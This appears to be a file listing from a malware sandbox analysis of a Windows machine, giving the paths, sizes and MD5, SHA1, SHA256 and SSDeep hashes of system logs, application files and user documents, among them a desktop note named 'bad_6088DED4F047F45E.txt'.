C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx	69.38 KB	MD5: 40980ebb91b52a422585180f3e079c28 SHA1: 34a577f16fa07bd156670263c7358ffc8b34555d SHA256: a658a5602cf80fdf84617c9712b8dbc24afc38e33b9176d0d9863e789da73328 SSDeep: 384:NLSYiHd+OfW0LgxLRoWBJNuEnU7/UfM9wz5+0aReLSYiH9CfHu:RRiHd5fWPRo4JgLzUf4wNayRiHiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx	69.38 KB	MD5: 7d0ca87f7952ad60413f57ca75cee2af SHA1: a2bd85d58732984ce164955ce1615a2c0d444785 SHA256: bc37b3ef341af9a17e07ca2c2501a375a2e29861fda6aa1fee14447884e3abf2 SSDeep: 384:amOH0neL5t6e5cufWqZp6strQsm3MjaoIimmOH0neL5t6eACfHu:aEcY06+1kMjXIlEWO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg	83.86 KB	MD5: e7069cc410f996730501b7dec49c12ac SHA1: 4a9036d2cfca3f6b77d7ec11f8a1cc30356afad2 SHA256: 0fd493a5dab167d2e785bf1b14e9a421cf4aa745d8c32aa36719832664903213 SSDeep: 1536:M8wMIbg9f5Q7nE4IVRppppudICBTOnQLfV5ZhEwDsR4444W8Rxu+Amj8QSVO:MNg9f5Q7sIxOufV7hB8RxukSV	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg	85.60 KB	MD5: 2d45017ce62f73e993df698df3e06610 SHA1: 33be411f074948c80e4bf502cbf840ee94ba924a SHA256: e9e921cc0d93a50faf407eb1d64dcfa28597fbf7f4ca00214a914e45bd44ef8a SSDeep: 1536:+sOVQEJeDHspNtTvmAHGrHLxMKw6pAzwpHbkydi0M16IUKrRBlFACcY2XZO:+sOVTj7ZvmAmrrlxOwpHbkYi0E/UwRBU	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9RAST_x64.msi	181.88 KB	MD5: 9e0607cd0130e0c34581f54aeb10bbc8 SHA1: 3de834a9286e8b9a740b60d2a179b4ba969b4055 SHA256: 7ab36e8a8e6dd5cad6ccdada49e1276fe2dca6a188633cb89edd9fe0eed1ad75 SSDeep: 3072:UkPyDJ/UQ5H0Un0li+G9A7Kve3Hg5BszizUVQzB7m09g47aEqPNWZKq5uXpWf:taDJ/U8l1A7Km3Hg5CzizuE99gVEqiBb	... File Actions Show Properties Download
C:\588bce7c90097ed212\DHtmlHeader.html	17.12 KB	MD5: f5af0765f421fa2ecf95cbfe4b129ab5 SHA1: 489d58e3f7bbc1f399bf894e4e90e5f5bd4e070c SHA256: 0c0a15e7ab9227860fb9a58f53cf02df693d2add14a369f533bb820c245974a4 SSDeep: 384:75TAfdUTfP253qFUFJFEWUxFzMG5zai9D3zPjRDSvgvCfHuc:754WfP2QFUFJFEWUxFzH5z33PoxOc	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\SetupComplete.cmd	1.68 KB	MD5: 5d83c5f93c8f7f47af65bb2da5de6706 SHA1: a171bdc150e5d47e47f4aa2ad4f078fc89779fc5 SHA256: 97f7ebf92ae0afd8b89f4cca5b32d9b4c9a620b15d46cf4361d523e087cd2f92 SSDeep: 24:Z7k7MTRH4IgK6g8ijNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5J:ZgwN2K6g8ENmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Logs\Internet Explorer.evtx	69.38 KB	MD5: 20aaa26970f903bfc8e49787596fe449 SHA1: 9b1ab9bdd62c5e67770f2609bf29cd8330a1e439 SHA256: b6086d07920cf0ce29ffd338f37c070b5844c2638fe754a8c97442f7c71e7729 SSDeep: 768:IAqyvpSKP7cIUDbjiydzNlXz+mAqyvpIO:IAbvp37cI2CydZJAbvpIO	... File Actions Show Properties Download
C:\Logs\System.evtx	1.07 MB	MD5: 68170fe48b02afe0eb6480f18d98b006 SHA1: d4a92eb1eeb9875a7e6da7d495f6948cb4959e58 SHA256: 2884cd4cb3483d288352199adbf700a91a746214bed55d6e3759116b86fe0283 SSDeep: 1536:hLPGp+qZfP/aIXo5NajuNK/FoBvq/hg160XpuHsj1Jye8aisiVbyLPEO:hLEaIY7WBFoR6g16S8sJy1UrLc	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx	69.38 KB	MD5: 2e3eedbc3936a2a2f8215552271482f2 SHA1: 673af96620338ae0ec2fa29f5939b71028554495 SHA256: a3c73a8618049afcee981ffcf89ce35c623e1dfe9eb05f7f4ffde0e2e4dec67c SSDeep: 768:IdgEC+8O9dGQ1ewjAixP6eI/IFjRdgEC+8OeUO:6RKQ1ewEixS9YRFO	... File Actions Show Properties Download
C:\Logs\HardwareEvents.evtx	69.38 KB	MD5: 67723d2334145bb324499babb075b6e1 SHA1: f5b33912ec3b37058eef97c2efffe459aebc64a3 SHA256: 2dd4e168ae0318138a36df59bd866c2da0be0a0ab5ddc2f44da37c156045da2a SSDeep: 384:GJfcFkWyWOM/u3LlFfqTb9ldDubz9Pgjqyz5QY8jhuQfcpHDBCJfcFklCfHu:SfcFkWZG3xFfqvdsX05QXc2fcFkKO	... File Actions Show Properties Download
C:\588bce7c90097ed212\SetupUi.xsd	30.80 KB	MD5: 0fdc72e80b2d5ae28a7b97317842d00c SHA1: fb6f4b3b71fd2c9902961630d00b4384d9dabda6 SHA256: 747aaed0f54537c712f100d49b845a1b6c85630782f404fcf0c125fee4171bb1 SSDeep: 384:3r9Ytm1VzVvIe3CpJoXXETy26hKaQUwPh7u7l7P7A70mW717u7WiW4WmPH88G2+4:7UKVzGe/ET/chT+cxcW8G2PMlHvyrSO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx	3.54 MB	MD5: e5de45f79d60e472e65ffa8a72d0b08b SHA1: ac6f324c2596c37e618b208e0c6e4b017fb10ea0 SHA256: 70b35a7e30215c03432800004359bb167f8f9862308a8c6fada20f1f4139c071 SSDeep: 98304:29UR9Na7kNEeEukdHe3mBQlqZ7kNEeEukdHe3mBQlqgNsf8P854annqjGaGahP:2iK7kHbkdHe3p+7kHbkdHe3pDsEPuDnI	... File Actions Show Properties Download
C:\588bce7c90097ed212\Setup.exe	77.70 KB	MD5: 5067631271e37938c8ab9ef8f3587cd9 SHA1: a08f504704e36bf90ef6510b5f132a3a47e28e8e SHA256: 25a277ffd7e36e64071445f021864b42bc73383ae3ce80b15316640f09abf76e SSDeep: 1536:IA+bPxqeEQWiiESc0exWZnqxMQP8ZOs0JdO:cbPAeEQWTZctc/gBz	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx	69.38 KB	MD5: b80a36d20fce824fd40d2dfc705fa050 SHA1: 900fde4f3f4abb1188ba634ae6ee4d889374de8b SHA256: f2bca8ffc46356befc79843fb3811c9daabbaaf40a9dd8e8659f21ad4f2e36e3 SSDeep: 768:bvgWoYdI6US5mxmru43f1tqbUXCn5evgWoYdI6USXO:wV6US5mUrB1tqbkaV6USXO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx	69.38 KB	MD5: 04a488a2ad3af0be88bd74a9264760c7 SHA1: 8b89f1fa2ce32fbf934eaee68928524d75ea4c48 SHA256: 210e4b6034fcbd9181c9b85ab2e7a18be07fe21634ed8a2e053d87d5e3627f16 SSDeep: 384:mkVVO3uqJvKQdpq2tspMa2aWiHZXEGbYQUW4SLaDaRFHpVSueADUlKXzP2kVVO3p:mkVVWXzi7/XxbfFaciEH+kVVWXziTO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf	57.26 KB	MD5: c9b66295084efcbf782a52a512c3eb4b SHA1: a2794c45fb667b2fbd01af12094db8465f1d088a SHA256: 952b3458a4dbdb2b8ed2f7e36ba421245ea2f74d5dbc1b499291bb0d0c378955 SSDeep: 1536:TImAAyNpHevPvAnK3Vvl8RwyoSTx092EvYO:TIB9enInK78ey	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf	62.90 KB	MD5: 589754aa0fff2fce5e4238c9a419ef22 SHA1: 496720351fe382ec02a3c8658073c16948cad5a5 SHA256: 40eb5d52f2784caab7723030f97e21718dea9115495c00bb77cd3574538a5fa0 SSDeep: 1536:3Ruk0YXXQETk5j4u4E3d5FrUrk0jcoZPX9DMxDgO:rgWkmu4QdcRcQXdMa	... File Actions Show Properties Download
C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx	69.38 KB	MD5: dbf6b0b7e08578e56ac25069e3db4e72 SHA1: c5eb37cf13e998fbd919f4eabc34e176d7830eff SHA256: a3660de2c5ea102294eee431bb556c68c24a18a4f790c8fbcfb422bb705443ae SSDeep: 768:PL2wN3Sa/of6XZj+sOSr0nE8tHt8kATKyKHL2wN3SanO:PL2w1gQ1+sOSonpYkATKyKHL2w1nO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe	16.95 KB	MD5: 0ec3ae40b59e3b4ebeedebe46e6fd4b1 SHA1: 9aed1b63f9e74e687bef8d9252f85deb85e82df0 SHA256: 400041467d34caafa572fcab0bdbc2e3fdb9c6e8f257881eadf30cafe0b0310e SSDeep: 384:M09esqzWGmXaVwDgKN2zeex6nYPFGj9PJCfHu:bDBkye42iRGO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx	69.38 KB	MD5: c6cc70d5f48e548270d45358dfcb3c93 SHA1: 2245bb42bfc03151b5f8b21b62c3a6c0ec905958 SHA256: 07eeb4ddce701acb4886aedaf7476f4a29936d629977f9b8723c39f5d0ce1a22 SSDeep: 768:+XuGJRLW9f01HEqVZ5O+yWl5J6xkl5aAyarJXuGJRLW9f01HEBO:+eCOkYBAJ6ybaAyKeCOkOO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx	69.38 KB	MD5: 8a0285298c2474f1da97d25a8c19b511 SHA1: 1dc223f1b1cad564dda8a58e9ef256b9af1b12e6 SHA256: eb24cc8fcf6f22d9acd598a431a43827112ae10e982372e1152fa520b6673c2a SSDeep: 384:EjHis2ZvoL5tS37PZSwJuloFmB4dKqnfQH/rfbgNZIjHilCfHu:EGTQL5UDZSdB4HfQH/zbgNZIGKO	... File Actions Show Properties Download
C:\Logs\Key Management Service.evtx	69.38 KB	MD5: 61a2f6897d93ef7a7fec0d0d258b3963 SHA1: 15fb7237c393dfee7618bb19d968f0e0fe0a1c1f SHA256: c692fa5edea5837de2eea9f032c5611b8067b3d68a4bb5d46588285a4bd50d61 SSDeep: 768:5/pjJyyyBfvpJKNKpE7uLc1GRAefNNI793AyTwqpjJyyyBfvnO:5h9yNXpJWIL0Grw93AyTw49yNXnO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx	69.38 KB	MD5: 81bdf5b4746457ad2592dd33bfd80b88 SHA1: c15d48e21fbd616d5b04d8da4ea75fec35b1fd29 SHA256: f3aabff165a1d3b4615d9f01213725a3da5c8922b97bc3e7d5f661714799af88 SSDeep: 384:oO66Yc18IEFaw+uaejoa5hGINNuptiAWMUTKVc/O66Yc181CfHu:3zYc18L1+cjNTGOcpQ6ZzYc186O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx	69.38 KB	MD5: 66286a9e097ab33e82175e51f8a28c6d SHA1: 498df27f0cdb81f00c0049b9b2dacdcc5b39dd01 SHA256: 2d17c377e76d6eab268b54684b08bb283eff6ad68478540c076a08191e23c9a1 SSDeep: 384:Oo20kCTJ4i1Y/0uhfbl3WCXBHWKwEXNF85cc6u6YhTG6So20kCTJ4i1FCfHuh:OowCug1EfZGCX5ewPc6xYBoowCugqOh	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx	69.38 KB	MD5: 60ec8d43657adea9a5c01ed636985583 SHA1: 447987dcc6ffa689d1d2300c1cc51c580dbc9f85 SHA256: 165abde3da443cc5ac7e47e8aa80479f51ab229b92dc82abc5ce24cafc2de915 SSDeep: 768:OtzwsCXCtSMNuhrIK2TZjqDjLsA4MVDtEO:Czw1S0hrB2TsxEO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx	1.07 MB	MD5: dddf3f2e429f0a8488c93cb64344fb9c SHA1: 3c68bcceb8202d9b8ff9a113c8534cc55318ce72 SHA256: 1f7f815d4700b387e1d1c5f8c4c0c8dad8ae211a8bed54e727e921782d67c065 SSDeep: 3072:J81fRORZFH31ZBlSC4cJpYBxvUa0yivBDSf/zHmC81R:J81f6dEC1gfvU5ezHmC81R	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx	69.38 KB	MD5: 0c90bf087da6f38db12ff255c4c88f98 SHA1: 91995627b17e5655b70879deed8fefda66561b9b SHA256: 82967d36389a42ab50f8e38ab5bc00ab031a0d2c1f477bfcd01922d44603ea1b SSDeep: 768:nMr0B6+bbYs5n+IeXYOMDcT4r0B6+bbhO:nMYxYe+IeXfMDO4YxhO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx	69.38 KB	MD5: fec7dda1437589b3f6d2a4df8e3230f1 SHA1: adcb9baf082ebdfc59ea27c8f8ea026260b3d615 SHA256: 57651f95e37d56ed6c6fefd96077200fca1003f4cfd7a519c0cef5093cd5d043 SSDeep: 768:3y/oNW/YEQfygZYLkRydrDhP43/y/oNWbO:rcYtfymSd943zuO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties	2.73 KB	MD5: 829f29353566b95f18fe339879ab3227 SHA1: 338cba0873009cd2e24e9599d3d3e25490869db3 SHA256: da3408b3fa08c5c4d12eb82002e39ee16f535161aa9b685d633db7f9a7b43696 SSDeep: 48:tP/3jQDCda2nlRPaEqQmS7Vx3iVoOCdhRXNnoVA9NmLaPcuB4i+gNiZvuUbHe2:VvjQDCd1lRPaEqQmS33AiNxmL/ufRNuS	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx	69.38 KB	MD5: 33c6be40598023636f306dffb8e66e74 SHA1: 4e85caedc722e5023d53560c26533d7be5eff98d SHA256: d81dd5150f5d7e89747818e817495e26e4226e5ee566fd68bd120382488c83fc SSDeep: 384:ft0/jk5XaceudL0P1KpxUM32DyYiF0CK9z5P8KHW/55U0/jk5XacekCfHu:ft0/o5XMudLvpqxuK7EKHsU0/o5XMfO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg	83.86 KB	MD5: 9057d7120d335d14ae8aed0255dee3aa SHA1: 68f227fe8b5520e375e279709cb297d2b5f898c3 SHA256: ab8e1a912075e1eab370e25e63312ec360e16fd4270fb61ee15e073767bdef1e SSDeep: 1536:QJQ7JGjxOv1+4IVRppppudICBTOnQLfV5ZhEwDsR4444W8Rxu+Amj8QA2tkHO:Q2WU1KIxOufV7hB8RxukAuy	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx	69.38 KB	MD5: 4d9d2fa332ad3ac796a0168898cbf8aa SHA1: 67da0ad85ab91ecfa01615cb3b4c7ee70a654dca SHA256: 81f748c221bf0095aa5723831b6d3cc2725855c6f4b0e0d54ec8ca7609a1b200 SSDeep: 384:VDTv/nUIJScJPzRJv6kQAuNXCBWRyDT6CfHu:VDzvUQJvpNuNoDZO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties	4.18 KB	MD5: 60f75e5a27b15db9bc29f6355d6a9bb8 SHA1: 81d260c09f63d7592ca07de896359aaee5a55f02 SHA256: 0536065b4302da7cb7b90250a2fbff56a3a203af99845228731f672b60126715 SSDeep: 96:WPl/uctnke6L0BRPRc6EbHEF3WN0B7RvpmL/ufRNumUa:EuRjLEpzEbHEF/7xQL2fHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties	5.05 KB	MD5: a467b9e2dbcdf0d2d2966f3a7bbab3de SHA1: b624326343be78779c247b728d20f412a2fdb6ef SHA256: ce45524cb14246b2ff5cd3700eaf9f8cf2360b76fec163200b74708da5a1e3f1 SSDeep: 96:2LKdaOTvxNsaLVVbmL4y6mxT70+z16L6ewelhmL/ufRNumUaq:24aODxNsCVVQFrh0+YLtVYL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx	69.38 KB	MD5: b6983df0d4b7e6c5c87340652b4eea07 SHA1: aaca5c80533422c0277297173235dc2d25a9691f SHA256: dcc9d23684a4e40fdf65cc3cd1b3dff01393fb43e8c204b3a78de2ed0fff4202 SSDeep: 384:fe/tE2rqAQIf8NTwsxjwAW/Td0xfB88vodmM5kYIBe/tE2rqAQI8CfHu:fYtRX8Nxx0/50j5Q5QBYtRvO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx	69.38 KB	MD5: df0d6c0f5a8ea6fee23b6cef9b4efe65 SHA1: bcd4c764263637032f9495549b43c06187d88fa4 SHA256: d00deef68bc21e0058b0c5181f6a14517ebe8adb3da575548ab15fb7a70019cc SSDeep: 384:V+1a1Cs3A9M8RbKqmjFoIwJ8lfqRwlWyEI4exPFNsoytLKBcfy+1a1Cs3A9+CfHn:ELWO2q+LThJNMLuWLHOm	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx	69.38 KB	MD5: 161135891787935395726f577a666100 SHA1: 4fceff381f33221fbe150c5def32b12476759695 SHA256: 653c367d053ca4fb9b8d77d0a779d6bb639cbe261ad0f9eb7ff2fb53d249e07c SSDeep: 384:+0OrI/T6BJbW/h50oXyS67UcpvVh+uHFb90beWAezNCJ1Xv0OrI/T6GCfHu:8XAFTOUcVVEYFb9ueJr5O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx	69.38 KB	MD5: a2d0d54087355a24905256e4e9e324b7 SHA1: 3f791166a929edd91f19e1fc7158e8be25880912 SHA256: 5959463cf924bd0418bf0555430942e0e6c36e419be48056a15f07d7455c754f SSDeep: 384:LzYG/2WEgwZdXDz4CS1C9z1xWkiU+3zeKMWPHEqzYG/2WEgwZdXlCfHu:YGAgOJ0C7xBiU+3SKgGAgOQO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar	44.86 KB	MD5: fc6b3dabf35076e8b2baeecfbe81505a SHA1: 5b80b678e624ae5837bbf68656e1ef72206a3037 SHA256: 8662ce74b5d21a2d0cd529edf057261fc1d772a4e60719f9f9557b2614860ba2 SSDeep: 768:hrxO3x8LvVqPVGXpVfZHHSqs/rLA5tkZQnWn109Rqd4jVzIO:hrxO32VJTtvsfAMQnWn10PqCVMO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx	1.01 MB	MD5: 754966d0b72927ac6825f458d9a7f58a SHA1: acbaf40912a2b5c276f147a20e9e8b3c16df1eb2 SHA256: 93b12ddf665e1887d2ed2cbe4b119cf97e659dff6791ecb09a0389b701464785 SSDeep: 1536:pLKqnioD8gH71NPQtoj4X5wNC7/62X7QP8oufRVzxBnhu+/hGLxLiv8LKKO:pLKqni+qNpwNCj62cczbcHLKK	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx	69.38 KB	MD5: ef78e2dcf4a34dadb940c2ad2a228a97 SHA1: 6c3ea75da49ab283870061566b7aea23dfbb6517 SHA256: afd738e16ffebd6a724794ed256cfd7c0ad2c4ce30ee6fd85d620027f8c7ee32 SSDeep: 384:iogWwZVFsLSl/UjqdIYGuUTUwPzvDCjo4BOmMyQ/jz4Q4EdxWBogWwZVFsLSqCfO:i/PQEUj/YtUxbbsowMFn4ZhB/PQUO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg	68.97 KB	MD5: 8985830a926dd9d04736b4c375ad9a8d SHA1: ab161722b15aa5948889ccc7632ce0a240a4c76d SHA256: ae6b73afe9bcbcebcae3df5fc846a2be4e3ac0aeb1e1184ec01cd92209c61cac SSDeep: 1536:IvNnDE1HLyWiyHEdH7Cc58pHy5rHynNaHvXa4v3RYmb44444444444444444444+:anO+xdL7DyNmXBvnX2Wd5twwJUYzz	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg	43.04 KB	MD5: 88f93e45ec134d06aaae4416dbc42f4a SHA1: e207b4b28242a1714a15b1106f790f2fddec2bd9 SHA256: 383725b20667e266378d4a68c0ea1840f9bd52cafdb649606cf8ea1260b2b181 SSDeep: 768:keqPw0yaP3wKcWb6rSrJWrTj+9jlDs6rbmyUK0gai4tsHoyoltwnG8IuHpO:KI0yaPbHb62MPjyxw63mxE4tbnl4G8Il	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg	44.89 KB	MD5: 98fa09f2b71eccd1b41d2310753b2e3d SHA1: b6446d5ead27653487c88dc7912a6435e3ac6e54 SHA256: c195ef56ae40a5ddd5bea555d095afb80d6c22eb8904ae32be2795acdfd524a8 SSDeep: 768:dpOfdZ3iyEQ8KdoSdBaBvMtEyKqoo5ghfUZUAi4WKFvtlCY3KDuTMONnF3zzm3RO:dpQb3iF+do4t16fUZZWKFzlxM0zzOR4Z	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx	69.38 KB	MD5: 01d8772b5bbb1c1c895a88bf692eda9d SHA1: 6449c36af467d597c987fb86cb1c4f2da48a541d SHA256: 35e4322ae908eaac9c9d64390890d3c9f4387ea1cac450cde83740257b98d02f SSDeep: 768:2DwnSJTsch947PYbrhxuDisFijwnSJTsch9DO:nsF98UvmnsF9DO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-International%4Operational.evtx	69.38 KB	MD5: 1ea6b30e75e4c8fab1e007556815277e SHA1: 4e35e92b9c484443ca6dbb441ecc8d1298a56e94 SHA256: 2ff26b8a108d966c23cd99ac564e83d13faecf7303c5751c99ed09a7e4c28fb8 SSDeep: 768:N0mvYw/xnO7PmUPCaVe5CdNf0mvYw/LO:Nf/s7PPJe5Cff/LO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx	69.38 KB	MD5: 534d35a5978e687fc0715ad9051976fa SHA1: 8618fa0d9927ba5a683805110dfb270bd6bc0dfe SHA256: bccb9291cd359bf37184e77a433a58bd02e8fce5339d3b80283ddeb000ad7f35 SSDeep: 384:xXQOd+tFzeSDLhFrO714CtIH5yEVhWXGmMCOmJeMTXQOd+tFzeSD9CfHuS:xXJ+tICNFi714CiH5ykNsTXJ+tICiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	69.38 KB	MD5: e038126234aa008474c485a97a8b0f7e SHA1: 79af6d82f8a46a7728b5f0dbfe350603f1fc3f37 SHA256: 18a851660a7d2d594ebcd672a97a16cdacb0128646ed5fbb866dfd19e8b97ecf SSDeep: 384:QmFrqbeMCiH200WMa0Nxl8FiGLMWdQFz1+yF4mFrqbnCfHu:QmFS6TKiXWogc4mFTO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties	5.22 KB	MD5: 762b7533da186ea92f00422a7f30f17a SHA1: e73d6475ffb4817cfe0ea64d577c874fb9e9df63 SHA256: 7558be64b644058350f7d3ad8e2797fe324472408941f1864a4986448e4fd247 SSDeep: 96:s7psZiJonS8rCnbYDIkV/LkHmBeF7rDr3l2FS+pYOKLDpmL/ufRNumUa:OkkoS8rybYbkHm8ZPoLYTcL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Known Folders API Service.evtx	69.38 KB	MD5: 79ea495c2f0de6c9c3a4b2dd4b726441 SHA1: d1784f17e7d605679a8b9d9ee77d4fadec3228a5 SHA256: a7baebd438cfbdd4ba2f6fb0c380b6ebd2a0f356479e7eacd8d81c4690ea70dc SSDeep: 768:tugcfqNBbnXcQ38PyX5f4TI2aEpugcf+O:tRcfqNBbXcQMP2kIGRcf+O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx	69.38 KB	MD5: 95d4edf0b031345d06a35c4c53cd7469 SHA1: e5bf83a6b529d9c4446b380bfc0a7082c892137f SHA256: e64381462ed5470f691995c8dc0668af5bc1215ddc3a663f0f4e7648fb880a6f SSDeep: 768:NzJkHoB0F/0Sux79KEv3Nwk0RYSzJkHoB0FeO:Nzr9n9VfSzrfO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx	1.01 MB	MD5: 05c71ac2f28bbd4975b0f82b1accc30d SHA1: 0108f0a0ece6599de2551e5d5a607f6a2fdf9f22 SHA256: 4cca073d93a5898796715330789765de72e0fa02243c9d8ab39a61aa3ba61b3c SSDeep: 3072:RddcCwss5jipbJLsnlRlgJlXhpSlSpBLaB2qdd:RICjSGpFgmkd	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx	69.38 KB	MD5: 103e6e8a03d58679fa02fcab70c8907b SHA1: 4916829a30ad2151bc5581dd7eab890e1ecd1281 SHA256: a8d8cd7407b5caacb1a401d5a9a047ea36036a8e8d4bedc50645f633ee57f7bb SSDeep: 384:WDHfN6RjvnZ1eGpj6fiaImrBVT7aFbWcahnMZa5Ka5ba5Da59a5ua5gJa56a5kaI:M/8v7eGpGqaB1VTmbW5QRk/8rO	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt	0.15 KB	MD5: 964f757650263b57ed72b04baf735d04 SHA1: b7ca55ccdc428a77097bb40c5458448a36efb0a6 SHA256: 1d3ea0f78b9cef049df3e3230772c694ee0048eef7d792c3957b3ba8c0622716 SSDeep: 3:nB1EoZDIDzfr0JO5cS9KE2X5kXLhO1EoZDIDzf2IW3V22HrscGwpn:nDNIDzD0JOCEfMkbhaNIDzXOHlp	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx	69.38 KB	MD5: 079087a6123d4730961827763865b2aa SHA1: e4a3556c726abb49c2b12c6e78dee1824253b9b2 SHA256: 15853668e1c114d4b865e4b801b3f9058fdfce012216f7bb7836d049fbe4d020 SSDeep: 384:3FFAnmxwH7Y373n22cKavgi2kK5KiQ1WcAi9W7NfOEqFFAnmxwH7XCfHu:3F++wb67m2cJ4iRBiQcH2yyF++wbcO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe	17.45 KB	MD5: 7a26a2992f5d1499d4e4bce5b54a0f5d SHA1: 61aa7955fe1e68b839e0889845f6e94bedaf9bca SHA256: e5f30e4a9ff65d52f3f2c9f24c793cbb84f7b07161ff167149e0bf59b3064ce2 SSDeep: 384:yV7ygRGOuhsfU7cDKKNUheeKinYP3N+FUykWqNQ547CfHu:yxuVr0n6IeRY8Uyxq2pO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\java-rmi.exe	16.95 KB	MD5: a13625759ce689175ef3597ec1efd6b5 SHA1: 74cf47bacd77d2e7fb1d990fc30afd749eaac2de SHA256: a18450e0f94cb7cc89c4da065a622a020a2759b033624d6ad5e1e9d265e957c1 SSDeep: 384:WCyns0wIKNJ1zeeEenYPXR/77b/gpjy/fqCfHu:Wps0s31yeL2R/7nt/tO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\klist.exe	17.45 KB	MD5: 058ad54998898321bbf4aa910f153d14 SHA1: 1966ada8ce492d8645e81d7b7e23c3ffa8f1b7eb SHA256: e1e29053935b28fa85e341b5ab17a3c3256c0177d7ebdb5c2363195d1148f770 SSDeep: 384:j79Mge9m2Y9KNV1eeVVnYP6GMBdg7Vsy1XnCfHu:jmpXEeHddCVT1cO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls	11.90 KB	MD5: 786d171f5be136bded3ca2d93bb0b125 SHA1: 156dc2cb5394c7b93b83dc5df44cd6387f693519 SHA256: e29625b94a67de371479d92b855715c0223a3dcc26001af22def1ab99b0d8ee9 SSDeep: 192:VoIFEZx5+PZSJmgB22vLibCY1TiNIV1I8ZRDEYn7khIwrpyvKg9jL2fHu:2IFIIPomw1vLSCY59RDEYnYhIKovRjC2	... File Actions Show Properties Download
